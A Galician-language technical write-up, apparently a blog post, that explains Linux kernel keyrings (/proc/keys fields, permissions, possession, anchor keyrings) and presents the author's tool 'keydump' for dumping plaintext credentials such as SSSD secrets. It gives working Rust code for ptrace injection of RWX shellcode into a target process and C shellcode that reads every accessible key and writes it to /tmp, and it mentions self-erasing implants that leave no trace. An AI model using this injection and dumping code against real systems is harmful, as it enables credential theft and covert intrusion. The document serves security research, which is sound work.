Volcado de keyrings con Keydump: Extraendo credenciais en claro de SSSD

So precisamos leer o ficheiro /proc/keys, que é un pseudo-ficheiro do sistema de ficheiros proc que indica as chaves dispoñibles para o proceso que o lee. Aquí temos un exemplo:

$ cat /proc/keys
00c58dad I--Q---    58 perm 3f030000  1000  1000 keyring   _ses: 1
0ae2c7d1 I--Q---     1 perm 3f010000  1000  1000 user      user_secret: 6
102e811f I--Q---   104 perm 3f030000  1000  1000 keyring   _ses: 2
244b527f I--Q---     4 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
2729088e I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid_ses.1000: 1

Como podemos apreciar, hai unha liña por chave, un formato moi común no mundo Unix. En cada liña temos varios campos que describen cada chave. Imos revisalos para entendelos.

O primeiro campo é o ID da chave, tamén chamado número de serie, que identifica de forma única a cada chave. Esta é a información que mais nos interesa do ficheiro, pero imos explorar tamén os outros campos.

O segundo campo son as flags de estado de cada chave. O que precisamos comprobar aquí é que teña a flag I, que indica que a chave está instanciada, ou sexa, que foi creada. Isto igual soa raro porque, non está todas as chaves creadas? Non necesariamente, xa que algunhas chaves poden ser pedidas e ter que ser creadas por outro programa, como se describe en request_key(2), e nese caso estarán "en construcción" ata que se creen, o que se indica ca flag U.

O terceiro campo coñecido como uso, indica cantos enlaces apuntan á chave. Unha chave pode estar enlazada por un keyring, que é un tipo de chave especial que ten enlaces a outras chaves, algo así coma unha carpeta.Se unha chave, incluidos os keyrings, perde todos os seus enlaces, é borrada. Por esta razón algúns keyrings, os keyrings ancla, precisan ser enlazados dende as estructuras do kernel.

O cuarto campo é o tempo de expiración da chave e o termo perm (permanente) indica que a chave non expira. Unha chave expirada non se pode usar e será borrada.

O quinto campo son os permisos, que teñen catro conxuntos, un byte por conxunto (dous díxitos hexadecimais), que fan referencia ó fío ou proceso posuidor, usuaria, grupo e permisos de outras usuarias. Os últimos 3 son semellantes aos permisos de ficheiros, pero o posuidor é mais complicado e require unha explicación a maiores, que darei abaixo. Ademais, os permisos tamén son diferentes dos que podemos atoparnos para os ficheiros.

E despois temos os IDs da usuaria e o grupo de cada chave, que identifica á usuaria e grupo propietarios de cada chave (que non é o mesmo que posuidores). Un valor de 65534 (-1 nun enteiro con signo) no campo do grupo quere decir que a chave non ten grupo.

O oitavo grupo é o tipo de chave. Existen varios tipos de chaves con diferentes características, e algunhas delas nin sequeran soportan as operacións de lectura polo que o seu contido non se pode obter (alomenos dende o espazo de usuario). Os tipos mais comúns de chaves son os seguintes:

• user: Un tipo de chave xenérica que permite gardar segredos na memoria do kernel (cun tamaño de ata 32767 bytes) e leelos dende o espazo de usuario.

• keyring: Contén enlaces a outras chaves (incluídos outros keyrings). Este é un tipo especial de chave xa que funciona coma unha "carpeta" que permite ás chaves poder ser buscadas pola súa descripción.

• logon: É coma a chave user, pero non permite leer os seu contido dende o espazo de usuario.

• big_key: É como a chave user, pero permite un contido maior (de ata 1 MiB). O tema é que cando o kernel non ten espazo, almacena este tipo de chaves cifradas nun sistema de ficheiros tmpfs.

• asymmetric : Permite gardar chaves privadas e públicas, ou so a pública. Non permite operacións de lectura dende o espazo de usuario, pero si cifrado, descifrado, firmado e verificado de firmas.

Existen outros tipos de chaves (como blacklist, pkcs7, .fscrypt, etc) que non listo porque non sei o seu propósito, pero se tes curiosidade, podes descubrilas buscando polo uso da función "register_key_type" no código fonte do kernel Linux.

O último campo está composto por dous, que son o nome ou descripción da chave, que pode usarse para buscar a chave nos keyrings, e metadatos con información que varía dependendo do tipo de chave, por exemplo, para os keyrings os metadatos amosan o número de enlaces que contén, e para as chaves de tipo user especifica o seu tamaño en bytes.

Coa información que sacamos do ficheiro /proc/keys estamos listos para intentar volcar o contido de tódalas chaves. A miña forma de proceder foi simplemente leer /proc/keys e tratar de leer todas as chaves listadas, que é moito máis fácil que leer os permisos e intentar adiviñar cales se poden leer.

Así e todo, a pesares de que penso que unha aproximación de forza bruta é unha boa decisión para leer as chaves dun proceso, se queremos leer unha chave específica, tratar de inxectarnos e tódolos procesos (e fíos) do sistema ata que atopemos un que a poida leer tal vez no sexa a mellor decisión, polo que serén capaces de entender os permisos dunha chave pode axudarnos a saber en que proceso inxectarnos.

Como comentei previamente, os permisos están formados por catro conxuntos, e para cada un deles temos os seguintes permisos:

• view (0x01): Permite leer os atributos das chaves. As chaves para as que un proceso ten permisos de view son as listadas en /proc/keys.

• read (0x02): Permite leer o contido da chave. Con todo, algúns tipos de chaves como "logon" ou "asymmetric" non soportan operacións de lectura.

• write (0x04): Permite actualizar o contido da chave e revocala.

• search (0x08): Permite que a chave sexa atopada nunha búsqueda, que ven a ser buscar por unha chave a través dos keyrings pola súa descripción/nome.

• link (0x10): Permite crear novos enlaces que apuntan á chave.

• setattr (0x20): Permite revocar unha chave, cambiar os permisos e o seu uid (id de usuario) e gid (id de grupo), indicar un tempo de expiración e aplicar restriccións nos keyrings (que implica que as chaves engadidas a eles deben estar firmadas).

Ademais, temos os catro conxuntos de permisos que son o posuidor, usuaria, grupo e outras. Como nos podemos imaxinar, a usuaria e grupo aplican á usuaria e grupo propietarias da chave, e o conxunto outras a calquera outra usuaria.

Imos ver un exemplo dunha liña de /proc/keys:

0ae2c7d1 I--Q---     1 perm 3f010000  1000  1000 user      user_secret: 6

Podemos observar que os permisos para a chave user_secret son 3f010000, o cal significa que todos os permisos son concedidas ó posuidor, mentres que a usuaria so ten permisos de vista e o grupo e outras non teñen ningún.

Ademais, debemos ter en mente que igual que nos ficheiros, os permisos de usuaria, grupo e outras son exclusivos, o que significa que se a usuaria do proceso que intenta acceder á chave é a mesma ca usuaria da chave, os permisos de usuaria serán aplicados, e non os permisos de grupo ou outras, incluso se estes (por algún curiosos motivo) son mais permisivos cos da usuaria. Pasa o mesmo para os permisos de grupo. E no caso de non coincida nin a usuaria nin o grupo, aplicaran os permisos definidos para outras usuarias.

Por outra parte temos os permisos dos posuidores, que son importantes xa que polo xeral os procesos posuidores son as que mais privilexios teñen sobre a chave. Pero os permisos dos posuidores son diferentes en varios aspectos:

• Son inclusivos: Os permisos de posuidor aplícanse xunto co outro dos tres conxuntos de permisos que se lle aplique ao proceso. Isto significa, que se por exemplo, a un proceso se lle aplican os permisos de usuaria e posuidor, e os permisos de posuidor so permiten escribir, mentres que os de usuaria so permiten leer, entón o proceso poderá leer e escribir.

• Son dinámicos: Os permisos de posuidor so se aplican se a chave é posuida polo proceso, e isto calcúlase cada vez que se accede á chave.

Así que, como podemos saber se unha chave é posuida por un proceso? Precisamos seguir os enlaces dende os keyrings ancla.

Estupendo, isto deixanos con outra pregunta, que son os keyrings ancla? Se fas memoria, arriba dixen que cada chave, incluídos os keyrings, precisan ter alomenos ser referenciadas unha vez para non serén eliminadas polo kernel. De feito, cada vez que se crea unha chave (coa syscall add_key) é preciso indicar un keyring que conterá un enlace a dita chave (a mesma situación que nos ficheiros, xa que precisan ser creados nunha carpeta). Agora imaxina que queremos crear o noso primeiro keyring que vai ter os enlaces ao resto de chaves, que keyring apuntará ao noso primer keyring? A resposta é un keyring ancla. Os keyrings ancla son keyrings especiais que están enlazados a estructuras do kernel. E varios deles, se os combinamos coa posesión de chaves, permiten que certas chaves so sexan accesibles dende certos contextos.

Estes son os kernels ancla dispoñibles (que polo xeral son creados polo kernel cando son accedidos):

• Keyrings de proceso: Estes keyrings están enlazados ás credenciais dos procesos. Existen tres tipos con diferentes ámbitos:

  • thread-keyring (keyring de fío): So pode acceder a él o fío actual. Ten o nome _tid.

  • process-keyring (keyring de proceso): Poden acceder a él tódolos fíos do proceso. Ten o nome _pid.

  • session-keyring (keyring de sesión): Poden acceder a él tódolos procesos da sesión do usuario (xa que é creado por PAM). Ten o nome _ses.

• Keyrings de usuario: Estes keyrings están enlazados a estructuras da usuaria no kernel, polo que so poden ser usados mentres a usuaria ten unha sesión activa.

  • user-keyring (keyring de usuaria): Poden acceder a él tódolos procesos da usuaria. O seu nome é _uid.<uid> onde <uid> tense que reemplazar polo uid da usuaria.

  • user-session-keyring (keyring da sesión de usuaria): Poden acceder a él tódolos procesos da usuaria. Soamente se usa no caso de que non se creé o keyring de sesión. Ten o nome _uid_ses.<uid> onde <uid> tense que reemplazar polo uid da usuaria.

• Persistent keyring (keyring persistente): Poden acceder a él todos os procesos da usuaria, pero non se destrúe cando a usuaria finaliza a súa sesión. Está pensado para ser usado por servizos en segundo plano que actúan en nome da usuaria. Ten un tempo de expiración, polo que se non se usa nese tempo elimínase. O seu nome é _persistent.<uid> onde <uid> tense que reemplazar polo uid da usuaria.

Estes son os keyrings ancla que temos no sistema. Son parecidos ao directorio raíz dun sistema de ficheiros, sobretodo os keyrings de proceso, que son os usados na posesión.

Así que, que é a posesión? e como se calcula? A resposta é que unha chave é posuída cando esta concede o permiso search e pódese chegar ata ela navegando polos enlaces dos keyrings partindo dende o keyring de fío, de proceso ou de sesión. Se queres coñecer o algoritmo en detalle podes consultalo na sección Possession de keyrings(7).

Como podemos levar a cabo unha inxección de código con ptrace²? Estes son os pasos que eu seguín en keydump para inxectar unha shellcode nun proceso:

1. Acoplámonos ao proceso obxetivo

2. Buscamos unha instrucción syscall

3. Executamos mmap para reservar memoria para a shellcode

4. Copiamos a shellcode á memoria do proceso remoto

5. Chamamos á shellcode

Podedes atopar estes pasos na función dump_remote_process_keys de keydump. E para cada un deles aquí está o código e unha explicación:

tracer::basics::attach_process(pid)?;

let syscall_addr = tracer::x64::syscall::search_syscall_inst_nearby(pid)?;

let mmap_addr = tracer::x64::syscall::exec_mmap_x64(
        pid,
        syscall_addr,
        0,
        shc.len() as u64,
        libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC,
        libc::MAP_PRIVATE | libc::MAP_ANONYMOUS,
        -1,
        0,
    )?;

tracer::x64::basics::write_memory_x64(pid, map_addr, shc)?;

let rip = tracer::x64::register::rip(pid)?;

tracer::x64::basics::stack_push_x64(pid, rip - rip_offset)?;

tracer::x64::register::set_rip(pid, map_addr + rip_offset)?;

A outra parte importante de keydump é a shellcode a inxectar no proceso obxetivo. Para crear a shellcode usei shellnova⁴, un proxecto meu que da unha plantilla para a creación de shellcodes que permite o seguinte:

• Crear a shellcode dende código C

• Resolución de símbolos da libc, para poder usalos dende a shellcode

• Borrado do implante unha vez este termina, para non deixar rastro

A shellcode, como xa dixen na sección dos keyrings, listará as chaves lendo o ficheiro /proc/keys e tratará de obter o contido de cada chave e gardalo nun ficheiro no cartafol /tmp/k_<tid> onde <tid> é o tid do fío obxetivo. Aquí vos deixo o código (da función dump_keys) que se encargará diso:

    sprintf_d(keys_dir, "/tmp/k_%d", tid);
    err = mkdir_z(keys_dir, 0755);
    if (err != 0 && err != -EEXIST) {
        LOG_PRINTF("Error mkdir: %d\n", err);
        goto close;
    }

    dp = opendir_d(keys_dir);
    if(!dp) {
        PRINTF("Error opendir");
        goto close;
    }
    dir_fd = dirfd_d(dp);

    fp = fopen_d("/proc/keys", "r");
    if(!fp) {
        PRINTF("Error opening /proc/keys");
        goto close;
    }

    while ((nread = getline_d(&line, &len, fp)) != -1) {
        sscanf_d(line, "%lx %s %d %s %x %d %d %s", &k_id, k_flags, &k_state, k_expiration, &k_perms, &k_uid, &k_gid, k_type);
        if(read_key(k_id, &key_data, &key_data_size) == 0){
            desc = extract_description(line);
            if(!desc) {
                desc = "";
            }
            // printf("%s\n", desc);
            normalize_description(desc);
            // printf("Key len of %lu\n", key_data_size);
            sprintf_d(k_filename, "%lx_%s_%s", k_id, k_type, desc);
            write_to_file(dir_fd, k_filename, key_data, key_data_size);
            free_d(key_data);
        }
    }